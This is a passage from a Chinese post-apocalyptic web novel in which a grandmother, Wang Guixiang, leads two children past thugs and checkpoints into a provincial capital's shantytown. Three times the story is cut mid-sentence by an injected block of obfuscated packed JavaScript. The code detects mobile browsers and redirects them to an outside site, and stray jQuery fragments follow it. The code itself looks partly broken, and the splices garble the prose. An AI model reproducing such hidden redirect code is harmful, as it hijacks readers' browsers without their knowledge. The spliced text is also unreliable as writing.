王桂香认识几种野菜,她蹲下身,仔细辨认着,摘了一些蒲公英和荠菜,这些野菜无毒,能吃。她又摘了几个野山楂,野山楂很酸,孩子们可能不爱吃,但总比没有强。
她把摘来的野菜和野山楂装进帆布包的侧袋里,这才拉着孩子们,继续朝着省城的方向走去。
走了大概两个小时,他们走到了一个小村子外。这个村子比之前遇到的废弃村落要好一些,有些房屋还立着,院子里的杂草也不算太高,偶尔能看到几只鸡在院子里溜达,还有一只老黄狗趴在门口,懒洋洋地晒着太阳。
王桂香心里一喜,这说明村子里可能还有幸存者。她拉着孩子们,慢慢靠近村子,想找户人家借点水,再问问路,顺便看看能不能找点吃的。
她走到村头第一户人家门口,这户人家的院门是虚掩着的,门口坐着一个老太太,头发花白,穿着一身洗得发白的蓝布褂子,正坐在小马扎上择菜。老太太看起来六十多岁,身体还算硬朗,眼神也很清亮。
王桂香心里一阵激动,赶紧拉着乐乐和妞妞,走上前,恭敬地说道:“大娘,你好,俺是路过的,带着两个孩子,想跟你讨口水喝,再问问去省城的路,不知道行不行?”
老太太抬起头,上下打量着王桂香和两个孩子。她的眼神很锐利,扫过王桂香身上那件破了洞的外套,扫过孩子们蜡黄的小脸,最后落在她手里的柴刀上,眉头微微皱了一下。
“你们是从哪来的?”老太太开口问道,声音有些沙哑,却很清晰,“怎么就你们几个人?还有一条狗呢?”
王桂香心里一紧,没想到老太太一眼就看出她带着狗。她犹豫了一下,还是如实说道:“俺是从西边来的,路上遇到了点麻烦,狗它跑丢了,俺们要去省城找孙子。”
老太太放下手里的青菜,用围裙擦了擦手,眼神依旧没离开王桂香脸上,那目光像是在掂量什么。“去省城?”她慢悠悠开口,声音里带着一丝冷意,“现在去省城的路,可不太平。你们身上连件像样的干粮都没有,两个孩子小脸蜡黄,怕是连村口都到不了。”
王桂香心里一紧,赶紧把柴刀靠在门边,伸手拢了拢孩子们的衣角,让他们往身后躲了躲。“大娘说得是,”她声音放得更软,“俺们一路赶过来,干粮快见底了,这不才想着来村里讨口水,顺便问问有没有能换点吃的的活计。”她顿了顿,想起之前路上听说的规矩,又补充道,“俺们不白麻烦,包里有刚摘的野山楂,虽然酸,但能填肚子,您要是不嫌弃……”
说着,她从帆布包侧袋里掏出几个红彤彤的野山楂,递到老太太面前。那野山楂是她早上特意挑的,个头大一些,看着鲜亮。
老太太瞥了一眼那山楂,没接,只是指了指院子里的石凳:“坐吧。”
王桂香心里一松,赶紧拉着乐乐和妞妞坐下,又把柴刀往脚边挪了挪,方便随时拿起。乐乐乖巧地把怀里的小布袋抱得更紧,妞妞则偷偷探头,看了看院子里的杂草,眼神里带着一丝怯意。
“这村里,前些日子来了几波找活路的人,”老太太一边择菜,一边随口说道,手里的动作却没停,“有的是真逃难,有的嘛……却是来偷鸡摸狗的。你们两个孩子看着倒干净,就是这衣服……”她话锋一转,盯着王桂香的眼睛,“你说你去省城找孙子,那你可知,现在省城门口,查得最严的是什么?”
王桂香心里咯噔一下,暗道不好。她只知道要去省城,却从没打听过关口的规矩。她强压下心里的慌张,尽量让自己的语气平和:“俺……俺不知。俺一路都是躲着荒路走,没敢跟人多搭话,还请大娘指教。”
“指教不敢当。”老太太冷笑一声,放下手里的菜,站起身,走到门口,指了指村外的方向,“你看那片林子,以前是去省城的近道。现在?里面全是那些所谓的‘幸存者基地’的人,专抓过路的人,说是要查‘身份’,实则抢东西打人。你们要是走那条路,怕是连这山楂都剩不下。”
她顿了顿,转身看着王桂香,眼神里多了一丝审视:“再说了,你们身上那点东西,够吗?那孩子看着瘦,你真舍得让他跟着你挨饿?”
王桂香心里一暖,原来老太太是真心关心,不是故意刁难。她赶紧说道:“多谢大娘提醒,俺们就是想早点到省城,孩子们跟着遭罪了。”她又指了指院子里的杂草,“俺们也能自己找吃的,不会给大娘添太多麻烦。”
老太太看着她,沉默了片刻,突然转身走进屋里,片刻后拿着一个小小的布包出来,扔到王桂香脚边:“这里面是两个玉米面窝头,还有一点咸菜。你们一路赶过来,不容易。”她顿了顿,又补充道,“但记住,别跟任何人说你从这村过,也别问我这村的事。有些人,惹不起。”
王桂香愣了一下,低头看着脚边的布包,能摸到里面硬邦邦的窝头形状,心里一阵发热。她赶紧站起身,对着老太太深深鞠了一躬:“多谢大娘!您的大恩,俺记一辈子!”
“行了,赶紧走吧。”摆了摆手,老太太重新坐回小马扎上,拿起手里的青菜,不再说话,只是那背影看着,多了一丝落寞。
王桂香不敢多耽搁,拉着乐乐和妞妞,小心翼翼地拿起布包,放进帆布包的内袋里。她又对着那户人家鞠了一躬,才带着孩子们,慢慢朝着村外的方向走去。
走了没几步,她回头看了一眼,只见老太太依旧坐在门口择菜,阳光洒在她花白的头发上,镀上了一层淡淡的金光。院子里的那只老黄狗,不知什么时候醒了,正懒洋洋地趴在她脚边,时不时舔舔她的裤脚。
王桂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509485|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
香心里一阵感动,暗暗想着,等以后有机会,一定要回来好好谢谢这位大娘。
她拉着孩子们,加快了脚步,朝着省城的方向走去。这一次,她的脚步更坚定,心里也更有底气——不管路上有多少危险,只要有孩子们在,有这一点点温暖的帮助,她就一定能带着他们,平安到达省城。
沿着村子外的小路走了大概一个小时,远处终于出现了一条熟悉的、布满碎石的主干道——那是去省城的必经之路。路边的杂草比之前更密了,偶尔能看到几具废弃的背包和破烂的衣物,空气中还弥漫着一丝若有若无的血腥味,显然这里经常有人经过。
王桂香心里一紧,握紧了手里的柴刀,拉着乐乐和妞妞放慢了脚步。她知道,离省城越近,危险就越多,必须格外小心。
“奶奶,你看那边!”突然,妞妞小声喊道,指着远处的路口。
王桂香顺着她指的方向看去,只见路口处站着十几个穿着黑色制服的人,手里拿着长长的铁棍,正挨个检查过往的行人。他们的胸前都戴着一个小小的徽章,上面刻着一只狰狞的狼头——那是“幸存者基地”的标志,听说这些人专抢过路的幸存者,稍有不从,就会动手打人。
“坏了,是基地的人。”王桂香心里暗道,赶紧拉着孩子们,想绕开这条路,从旁边的荒地里穿过去。可那片荒地全是一人高的杂草,脚下全是烂泥,根本不好走,而且一不小心就会踩到陷阱。
就在她犹豫的瞬间,基地的人已经注意到了他们。为首的一个壮汉,脸上带着一道刀疤,正盯着他们的方向,对着身边的人低声说了几句。然后,那十几个人立马分成两队,朝着他们这边围了过来。
“别跑!就是他们!”刀疤壮汉大喊一声,声音洪亮,吓得路边的几只飞鸟瞬间惊起。
王桂香心里一沉,知道躲不掉了。她赶紧把乐乐和妞妞护在身后,握紧柴刀,做好了战斗的准备。乐乐紧紧抓住她的衣角,小脸吓得惨白,妞妞则躲在她的身后,不敢探头。
“你们是从哪来的?要去哪?”刀疤壮汉很快就走到了面前,上下打量着王桂香和孩子们,眼神里充满了警惕,“有没有带‘路引’?”
“路引?”王桂香一愣,她根本不知道什么路引,只能硬着头皮说道,“俺们是路过的,要去省城找家人,没有什么路引。”
“没有路引?”刀疤壮汉冷笑一声,挥了挥手,身后的几个人立马围了上来,“那就是可疑人员!带走!等核实了身份,再处理!”
“等等!”王桂香赶紧喊道,“俺们真的只是普通幸存者,没有任何恶意!你们看,俺们就带着两个孩子,哪有什么可疑的?”
她一边说,一边把孩子们往身后拉了拉,露出他们瘦小的身影。可在刀疤壮汉眼里,这不过是博取同情的手段。他根本不理会,挥了挥手:“少废话!带走!”
16. 第 16 章
就在这时,乐乐突然从王桂香身后站了出来,小小的身子挡在前面,对着刀疤壮汉大声说道:“我们要去省城找我爸爸!我们没有做错事!你们不能抓我们!”
他的声音不大,却很坚定,眼神里充满了勇气。
刀疤壮汉愣了一下,随即冷笑一声,伸手就要去抓乐乐的胳膊:“小小年纪,倒挺有胆子。正好,跟我们回去,好好‘教育’一下。”
“住手!”王桂香再也忍不住,猛地推开身边的人,举起柴刀就朝着刀疤壮汉的手腕砍去。她知道,只要被他们带走,孩子们就别想再出来了。
“砰!”柴刀刚好砍在刀疤壮汉的手腕上,发出一声沉闷的响声。刀疤壮汉吃痛,手一缩,疼得龇牙咧嘴。
“敢动手?”刀疤壮汉勃然大怒,对着身边的人大喊,“给我打!往死里打!”
十几个人立马朝着王桂香和孩子们扑了过来。王桂香举起柴刀,拼命抵挡着,可对方人太多,很快就有人绕过她,朝着乐乐和妞妞抓去。
“乐乐!妞妞!”王桂香心里一急,想要冲过去保护他们,却被两个壮汉死死缠住,动弹不得。
就在这危急关头,突然,远处传来了一声清脆的枪响。紧接着,基地的人像是被烫到一样,瞬间停住了动作,脸上露出了惊恐的神色。
“怎么回事?”刀疤壮汉厉声问道,朝着枪响的方向看去。
只见远处的路口,出现了一队穿着白色制服的人,他们手里拿着长长的警棍,胸前戴着一个小小的太阳徽章——那是“治安队”的标志。据说这些人专管基地的人,要是敢随便欺负幸存者,他们就会依法处置。
“是治安队!快跑!”刀疤壮汉脸色大变,再也顾不上抓王桂香和孩子们了,对着身边的人大喊,“赶紧撤!”
十几个人立马转身,朝着远处的树林里跑去,转眼就没了踪影。
王桂香看着他们离去的背影,悬着的心终于放了下来。她腿一软,差点摔倒,幸好身边的乐乐及时扶住了她。
“奶奶,你没事吧?”乐乐担心地问道。
“没事,没事。”王桂香摆了摆手,看着手里的柴刀,上面沾了一点灰尘,心里一阵后怕。要是刚才治安队没有及时赶到,后果不堪设想。
就在这时,那队治安队的人也走到了面前。为首的是一个年轻的姑娘,穿着干净的白色制服,脸上带着一丝温和的笑意。她走到王桂香面前,看了看她和孩子们,又看了看地上的柴刀,轻声问道:“你们没事吧?有没有受伤?”
“多谢姑娘,俺们没事,多谢你们及时赶到。”王桂香赶紧说道,心里一阵感激。
“不用谢。”姑娘笑了笑,指了指远处的基地方向,“那些人经常在这里欺负幸存者,我们也是刚接到消息,过来看看。你们要去省城?”
“嗯。”王桂香点了点头,“俺们要去省城找家人。”
“那你们可得小心点。”姑娘皱了皱眉,“现在省城门口,查得比这里还严,而且还有不少‘感染者’在附近游荡。”她顿了顿,从口袋里掏出一个小小的面包,递给乐乐和妞妞,“这是给你们的,垫垫肚子。一路小心,注意安全。”
王桂香看着手里的面包,心里一阵发热。她赶紧对着姑娘鞠了一躬:“多谢姑娘!您的大恩,俺记一辈子!”
“行了,赶紧走吧。”姑娘摆了摆手,带着治安队的人,转身朝着另一个方向走去。
王桂香看着他们离去的背影,心里充满了感激。她拉着乐乐和妞妞,拿起柴刀,继续朝着省城的方向走去。这一次,她的脚步更坚定,心里也更有底气——不管路上有多少危险,只要有这些善良的人在,她就一定能带着孩子们,平安到达省城。
沿着主干道走了大概两个小时,天空突然阴沉了下来,乌云密布,眼看就要下雨。路边的杂草被风吹得沙沙作响,空气中弥漫着一股潮湿的气息。
王桂香心里一紧,看了看怀里的乐乐和妞妞,他们小脸被风吹得通红,却还是紧紧跟着她的脚步。她知道,要是下雨了,这一路肯定不好走,而且孩子们也容易着凉。
“要不,我们找个地方避避雨吧?”王桂香停下脚步,对着乐乐和妞妞问道。
乐乐点了点头,妞妞则缩了缩脖子,小声说道:“奶奶,我冷。”
王桂香心疼极了,赶紧把外套脱下来,裹在孩子们身上。她四处看了看,发现不远处有一座废弃的小木屋,看起来还算完整,屋顶也没有破洞,正好可以避雨。
“走,我们去那座木屋那里避避雨。”王桂香拉着孩子们,朝着木屋的方向跑去。
刚跑到木屋门口,大雨就倾盆而下,瞬间打湿了地面。王桂香松了口气,扶着门框,大口大口地喘着气。乐乐和妞妞则赶紧躲进屋里,生怕淋到雨。
这座木屋比之前遇到的要小一些,但还算干净,里面铺着一层厚厚的干草,显然之前有人在这里住过。木屋的窗户虽然破了,但用一块破旧的木板挡住了,能挡住大部分的雨。
王桂香走进屋里,放下柴刀,找了一块相对干净的干草,让孩子们坐下。她自己则靠在门边,听着外面哗啦啦的雨声,心里稍稍安定了些。
就在这时,突然传来了一阵轻轻的敲门声。
王桂香心里一紧,赶紧握紧了手里的柴刀,对着门口问道:“谁?”
门外传来了一个沙哑的男声,带着一丝小心翼翼:“大娘,我是路过的,外面雨太大了,想跟你讨个地方避避雨,不知道行不行?”
王桂香愣了一下,看了看身边的乐乐和妞妞,又看了看手里的柴刀,心里有些犹豫。她怕对方是基地的人,或者是那些想抢东西的坏人。但听着外面的雨声,还有那小心翼翼的语气,她又有些心软。
最终,她还是放下了柴刀,慢慢走到门口,拉开了一条小缝:“你是谁?要去哪?”
门外站着一个中年男人,穿着一件破旧的灰色外套,头发被雨水打湿了,贴在脸上。他的手里拿着一个小小的布包,看起来很普通。“大娘,我是去省城找我女儿的,”他小声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509486|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说道,“家里就剩我一个人了,没办法,只能去碰碰运气。”
王桂香看了看他,又看了看外面的雨,最终还是打开了门:“进来吧。别介意,俺们也是怕麻烦。”
“多谢大娘,多谢大娘。”中年男人赶紧说道,走进屋里,找了一个角落坐下,不敢多看。
王桂香重新关好门,靠在门边,看着外面的雨。屋里很安静,只有雨声和中年男人轻微的呼吸声。
过了大概一个小时,雨终于停了。天边出现了一道淡淡的彩虹,空气中弥漫着一股清新的泥土气息。
中年男人站起身,对着王桂香鞠了一躬:“大娘,多谢你让我避雨。我该走了,祝你一路平安。”
“等等。”王桂叫住了他,从帆布包里拿出早上摘的那袋野山楂,递给了他,“拿着吧,路上能填填肚子。”
中年男人愣了一下,看着手里的野山楂,眼眶瞬间红了。他赶紧对着王桂香鞠了一躬:“多谢大娘!你真是个好人!祝你和孩子们平安顺遂!”
说完,他转身,朝着远处的方向走去,转眼就消失在夜色中。
王桂香看着他离去的背影,心里一阵温暖。她知道,这个世界上,虽然有坏人,但更多的是善良的人。正是这些小小的温暖,支撑着她,带着孩子们,一路向前。
她拉着乐乐和妞妞,站起身,拍了拍身上的灰尘。“走吧,我们继续赶路。”
“奶奶,我们不累。”乐乐和妞妞异口同声地说道,精神饱满。
王桂香笑了笑,拿起柴刀,带着孩子们,朝着省城的方向走去。
这一次,她的脚步更坚定,心里也更有底气。
雨停后的夜风带着凉意,吹在脸上像薄冰贴肤。王桂香把两件破外套紧紧裹在乐乐和妞妞身上,自己则把帆布包往胸前抱了抱,挡住灌进来的风。
国道上的积水在夜色里泛着冷光,倒映着远处残破的路灯,像一双双失神的眼睛。每走几步,她就会下意识低头看看路面,确认没有积水深坑,也没有邪祟潜伏的影子。
“奶奶,我能走。”妞妞把小脑袋昂得高高的,小手攥着王桂香的衣角,脚步却还是有些踉跄。乐乐则把那个装着野山楂和玉米面窝头的布包抱在怀里,像抱着宝贝一样,每隔一会儿就会偷偷打开看一眼,确认干粮还在。
王桂香心里软得一塌糊涂,弯腰帮妞妞把滑落的帽子戴好:“累了就说,奶奶背你一段。”她嘴上这么说,心里却清楚,自己这把老骨头背不动多久,现在每多走一步,都是在跟体力较劲。
可她不能停,省城就在前方十几里地外,越靠近,越不能松懈。
走了大概半个时辰,前方的景象渐渐变了。废弃的车辆越来越密集,有的撞在一起堆成了小山,有的被炮火炸得只剩骨架,玻璃碎片和金属零件在月光下闪着冷光。
空气里的血腥味也越来越浓,混杂着腐烂的恶臭,让人胃里翻江倒海。王桂香不得不停下脚步,从路边扯了一把草,搓成两个小团,塞给乐乐和妞妞捂住鼻子。
17. 第 17 章
“奶奶,这里好臭。”妞妞把草团捂在鼻子上,眼睛却睁得大大的,好奇地看着四周,“这些车车都是谁的呀?”
“是以前开在路上的叔叔阿姨的。”王桂香的声音放得很轻,怕吓到孩子,也怕惊动暗处的东西,“他们去了很远的地方,咱不看这些,咱往前走。”
她拉着孩子们,沿着国道旁边的排水沟往前走。排水沟不算宽,但里面全是淤泥和烂草,走起来深一脚浅一脚。乐乐不小心踩进了一个泥坑,鞋子瞬间灌满了黑泥,他“呀”了一声,眼圈一红,却没哭,只是赶紧把脚拔出来,用裤腿擦了擦。
“没事,没事。”王桂香赶紧蹲下身,帮他把鞋子里的泥倒出来,又从包里掏出一块干硬的窝头,掰了小半块,“擦擦脚,别着凉。”
乐乐接过窝头,却没有吃,而是递给了妞妞:“小妹妹吃,你小脸最白。”
妞妞摇摇头,又推回去:“哥哥吃,你是男子汉,要有力气保护奶奶。”
两个孩子推来推去,把窝头推到了王桂香手里。王桂香看着他们冻得通红的小脸蛋,眼泪差点掉下来。她把窝头掰成三份,自己只咬了一小口,剩下的全都塞给了孩子们:“快吃,吃完有力气走路。”
孩子们小口小口地吃着,吃得很慢,生怕一口吃完就没了。王桂香则借着月光,仔细观察着四周。她发现,越靠近省城,路上的行人反而越少,偶尔有几个幸存者路过,都是行色匆匆,要么是背着大包小包,要么是捂着口鼻,看到他们这一老两小的组合,都会远远绕开,眼神里带着同情,却没有一个人上前搭话。
这不是冷漠,是末世里的自保。王桂香心里清楚,大家都怕了,怕被人抢东西,怕被人当成“邪恶老奶”那样的危险分子。她也不想打扰别人,只想安安静静走到省城。
又走了大概一个小时,前方终于出现了一道连绵的黑影,那是省城的城墙。在末世之前,这是一座繁华的省会城市,城墙高大坚固,如今却布满了弹孔和裂缝,有的地方还坍塌了一大片,露出里面的夯土。城墙周围拉着铁丝网,上面挂着不少警示牌,写着“严禁靠近,感染者禁区”的字样,在夜色里显得格外刺眼。
王桂香心里一紧,停下脚步,把孩子们拉到身后,仔细观察着城墙附近的动静。她看到,城墙下面有不少人影在晃动,有的是邪祟,漫无目的地游荡着,有的是幸存者,躲在废弃的车辆后面,偷偷观察着城墙的入口。
“奶奶,我们到了吗?”乐乐凑到她身边,小声问道。
“快了,孩子。”王桂香指了指那道城墙,“看到那座墙了吗?过了那座墙,就是省城了,就能找到小宝了。”
“那我们要怎么过去呀?”妞妞眨着大眼睛,看着那道高大的城墙,眼里满是向往。
王桂香没说话,只是慢慢往前走,眼睛却在四处搜寻。她知道,城墙这么坚固,肯定有入口,要么是城门,要么是缺口。她带着孩子们,沿着城墙根往前走,尽量避开那些明显的感染者聚集区。
走了大概十分钟,她终于在城墙的西侧找到了一个缺口。缺口不算大,只有两米多宽,周围堆满了废弃的沙袋和钢筋,上面爬满了藤蔓,看起来很少有人经过。缺口后面,是一条狭窄的小巷,通向城内。
“就是这里。”王桂香心里一喜,赶紧拉着乐乐和妞妞,小心翼翼地朝着缺口靠近。大黄的身影突然在她脑海里闪过,心里一阵发酸,要是大黄在,肯定会第一个冲上去,探查缺口后面的情况。
“奶奶,你看,那里有个人。”乐乐突然指着缺口后面的小巷,小声说道。
王桂香心里一紧,赶紧停下脚步,顺着乐乐指的方向看去。只见小巷深处,有一个黑影正蹲在地上,不知道在做什么。她握紧手里的柴刀,做好了战斗的准备,慢慢往前走了几步,仔细辨认着。
那是一个瘦高的男人,穿着一件黑色的外套,头发很长,遮住了大半张脸。他正蹲在地上,用手挖着什么,动作很缓慢,像是在找食物。
“你好,同志。”王桂香放低声音,尽量让自己的语气显得温和,“俺们是路过的,想从这里进城,不知道可不可以?”
男人听到声音,猛地转过头,朝着他们这边看来。借着微弱的月光,王桂香看清了他的脸。他的脸色惨白,眼窝深陷,嘴唇干裂,眼神里带着一丝警惕,还有一丝不易察觉的恐惧。
“你们要进城?”男人的声音沙哑得厉害,像是很久没说话了,“你们有通行证吗?”
“通行证?”王桂香一愣,她从来没听说过什么通行证,“俺们只是来省城找孙子的,没有通行证。同志,你知道哪里可以进城吗?俺们不白麻烦,俺们有吃的。”
她说着,从包里掏出几个野山楂,递了过去。那野山楂红彤彤的,在月光下格外显眼。
男人看了看野山楂,又看了看王桂香和孩子们,沉默了片刻,然后站起身,朝着他们这边走来。他走到缺口附近,看了看周围,又看了看王桂香手里的柴刀,缓缓说道:“这里不能进,前面有感染者,还有巡逻的人。你们要是想进城,跟我来,我带你们走一条小路。”
王桂香心里一喜,赶紧说道:“多谢同志!多谢你!”
男人没说话,只是转身,朝着小巷的深处走去。他的脚步很轻,几乎没有声音,像是怕惊动了什么。王桂香赶紧拉着乐乐和妞妞,跟了上去。
小巷很狭窄,两边都是倒塌的房屋,墙上布满了裂缝,有的地方还掉下来几块砖头,随时可能坍塌。小巷里弥漫着一股潮湿的霉味,还有淡淡的血腥味。乐乐和妞妞紧紧攥着王桂香的衣角,大气不敢出,只是低着头,跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509487|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着男人往前走。
走了大概二十分钟,男人带着他们拐进了一条更窄的巷子,巷子尽头有一道矮墙,墙后面是一片废弃的院子。男人翻过矮墙,朝着他们招手:“过来,从这里翻过去,就是城里的街道了。”
王桂香拉着孩子们,跟着男人翻过矮墙。院子里长满了一人高的杂草,还有不少废弃的家具和垃圾。她借着月光,仔细观察着四周,发现院子的角落里,有几个邪祟正躺在地上,一动不动,像是睡着了。
“小心点,别惊动它们。”男人小声说道,带着他们朝着院子的另一侧走去。
他们走到院子的另一侧,那里有一道破损的铁门,通向城里的街道。男人打开铁门,朝着外面看了看,然后说道:“出去就是主街,沿着主街一直走,就能找到城门。记住,不要说话,不要跟任何人搭话,尤其是穿黑色衣服的人,他们是巡逻队,专抓没有通行证的人。”
“多谢同志!多谢你!”王桂香再次道谢,从包里掏出那个玉米面窝头,掰了一大半,递给男人,“你拿着,路上吃。”
男人看了看窝头,又看了看王桂香,眼眶红了。他接过窝头,小声说道:“我叫林生,在城里住了很久。你们要是找不到亲人,可以去城南的棚户区,那里有很多幸存者,会帮你们的。”
“好,好。”王桂香赶紧说道,“俺叫王桂香,这是乐乐,这是妞妞。林同志,你多保重。”
林生点了点头,转身,朝着巷子的另一侧走去,转眼就消失在黑暗中。
王桂香拉着孩子们,翻过铁门,来到了城里的主街。主街比她想象的要热闹一些,路边有不少废弃的商铺,有的商铺门开着,里面有不少人影在晃动,应该是幸存者在找食物。街道上偶尔有巡逻的人走过,他们都穿着黑色的衣服,手里拿着武器,眼神警惕地打量着每一个人。
王桂香拉着孩子们,紧紧贴着路边的墙根往前走,尽量避开巡逻的人。她的脚步很轻,生怕发出声音。乐乐和妞妞则紧紧跟着她,小脑袋低着,不敢四处张望。
走了大概十分钟,他们走到了一个十字路口。十字路口的中央有一个花坛,里面长满了杂草,花坛的周围,是几家还开着门的小店铺。店铺门口有不少幸存者在徘徊,有的在找吃的,有的在聊天,看起来比外面要安全一些。
王桂香心里一松,找了一个相对安静的角落,蹲下身,给孩子们擦了擦脸上的灰尘,又检查了他们的鞋子。乐乐的鞋子已经湿透了,袜子也湿了大半,妞妞的鞋子则还好,只是沾了不少泥。
“奶奶,我饿。”妞妞揉了揉肚子,小声说道。
“我也饿。”乐乐也跟着说道。
王桂香心里一疼,从包里掏出那个剩下的玉米面窝头,掰了小半块,递给了他们:“快吃,吃完就不饿了。”
18. 第 18 章
孩子们接过窝头,小口小口地吃了起来,吃得很香。王桂香则靠在墙上,观察着四周。她发现,十字路口的中央,有一个小亭子,亭子里坐着一个穿白色制服的人,应该是治安队的人。他正拿着一个本子,记录着什么,偶尔会抬头看看四周。
“奶奶,我们要去哪里找小宝呀?”妞妞吃完窝头,擦了擦嘴,问道。
王桂香想了想,说道:“小宝在城南的棚户区,我们现在就往城南走。”
她拉着孩子们,站起身,朝着城南的方向走去。主街上的行人越来越多,大多是幸存者,他们的脸上都带着疲惫,有的背着大包小包,有的手里拿着木棍,像是在防备着什么。王桂香拉着孩子们,尽量避开人群,沿着墙根往前走。
走了大概二十分钟,他们走到了城南的入口。入口处有一道关卡,关卡上站着几个穿黑色衣服的巡逻队,他们手里拿着武器,正在检查进城的人。关卡旁边的墙上,贴着一张告示,上面写着“无通行证者,严禁进城,违者格杀勿论”的字样,下面还贴着一张照片,照片上的人正是王桂香自己,旁边写着“邪恶老奶,悬赏十万,见报立即上报”的字样。
王桂香心里一凉,浑身的血液都仿佛凝固了。她赶紧拉着乐乐和妞妞,躲到旁边的废弃车辆后面,探出半个脑袋,看着关卡。
巡逻队的人正挨个检查进城的人,凡是没有通行证的,都被他们赶了回去,有的还被他们打了一顿。关卡后面,是一条通往棚户区的小路,小路上挤满了人,都是想进城的幸存者。
“奶奶,我们怎么进去呀?”乐乐凑到王桂香身边,小声问道,眼里满是担忧。
王桂香咬着嘴唇,心里一片混乱。她没有通行证,根本进不去。可她不能回头,回头就是无尽的荒野和感染者。她看着关卡,又看着身后的孩子们,心里暗暗下定决心:一定要进去,就算是爬,也要爬进城里,找到小宝。
她想了想,从包里掏出一件破衣服,盖在自己的头上,又把乐乐和妞妞的头也按低,然后拉着他们,混在人群里,朝着关卡靠近。她的脚步很慢,尽量让自己看起来和其他人一样,没有任何异常。
走到关卡附近,巡逻队的人朝着他们看来。为首的是一个高个子男人,他的眼神锐利,上下打量着他们。王桂香心里一紧,手心全是汗,紧紧攥着手里的柴刀,做好了战斗的准备。
“你们有通行证吗?”高个子男人厉声问道。
“没……没有。”王桂香的声音发颤,却还是强作镇定,“俺们是从外地来的,来省城找亲戚,没有通行证。”
“没有通行证?”高个子男人冷笑一声,挥了挥手,“赶回去!不许在这里逗留!”
“同志,通融通融吧。”王桂香赶紧说道,声音放得很软,“俺们带着两个孩子,走了很远的路,实在是走不动了。俺们亲戚在城南棚户区,就住几天,等找到吃的,俺们就走。”
她说着,从包里掏出几个野山楂,递了过去。那野山楂是她最后的一点东西了,原本是留给孩子们的。
高个子男人看了看野山楂,又看了看乐乐和妞妞,沉默了片刻。乐乐和妞妞紧紧攥着王桂香的衣角,小脸吓得惨白,却还是不敢说话。
“算了,让他们进去吧。”高个子男人摆了摆手,“但是记住,不许惹事,不许到处乱跑,否则格杀勿论。”
“多谢同志!多谢你!”王桂香心里一喜,赶紧说道,拉着乐乐和妞妞,朝着关卡后面的小路走去。
他们走过关卡,沿着小路朝着棚户区走去。小路很狭窄,两边都是倒塌的房屋,路上挤满了人,大多是老人、孩子和妇女。他们的脸上都带着疲惫和恐惧,有的在低声哭泣,有的在互相安慰,看起来都很不容易。
王桂香拉着孩子们,挤在人群里,慢慢往前走。走了大概半个小时,他们终于走到了棚户区。棚户区是一片用木板、铁皮和塑料布搭起来的简易窝棚,密密麻麻地排列着,一眼望不到头。窝棚之间的小路上满是垃圾和淤泥,散发着一股难闻的气味。
“这里就是棚户区了。”王桂香心里一松,拉着孩子们,找了一个相对安静的角落,坐了下来。她从包里掏出最后一点干粮,分给了孩子们,自己则靠在窝棚的墙上,休息着。
乐乐和妞妞吃完干粮,靠在王桂香身边,很快就睡着了。他们太累了,走了这么远的路,又经历了这么多危险,终于到了一个相对安全的地方。
王桂香看着孩子们熟睡的小脸,心里一片温暖。她知道,这里虽然简陋,虽然危险,但至少是安全的。至少,他们离小宝又近了一步。
她靠在墙上,闭上眼睛,休息着。她的心里,只有一个念头:明天,一定要找到小宝,一定要和小宝团聚。
天刚蒙蒙亮,棚户区就醒了。先是传来零星的咳嗽声,然后是窸窸窣窣的起床声,接着是锅碗瓢盆碰撞的声音,还有孩子们的哭闹声。王桂香是被这些声音吵醒的,她睁开眼睛,看着身边熟睡的乐乐和妞妞,心里一片柔软。
她轻轻起身,没有惊动孩子们,而是走到窝棚外面,观察着四周。
棚户区的早晨,雾蒙蒙的,空气里弥漫着一股潮湿的霉味,还有淡淡的烟火气。窝棚的门口,不少幸存者在生火做饭,有的用捡来的树枝生火,有的用废油桶改造成的炉子做饭。
路边的排水沟里,飘着不少垃圾和剩饭,散发着一股难闻的气味。
王桂香深吸一口气,压下心里的不适。她知道,在末世里,能有一个地方住,能有一口吃的,就已经很幸运了。她不能挑剔,只要能找到小宝,只要能和孩子们团聚,什么苦都能吃。
她回到窝棚里,叫醒了乐乐和妞妞。孩子们揉着眼睛,慢慢坐了起来,小脸还有些睡眼朦胧。
“奶奶,我们现在就去找小宝吗?”妞妞揉了揉鼻子,小声问道。
“等吃完东西,我们就
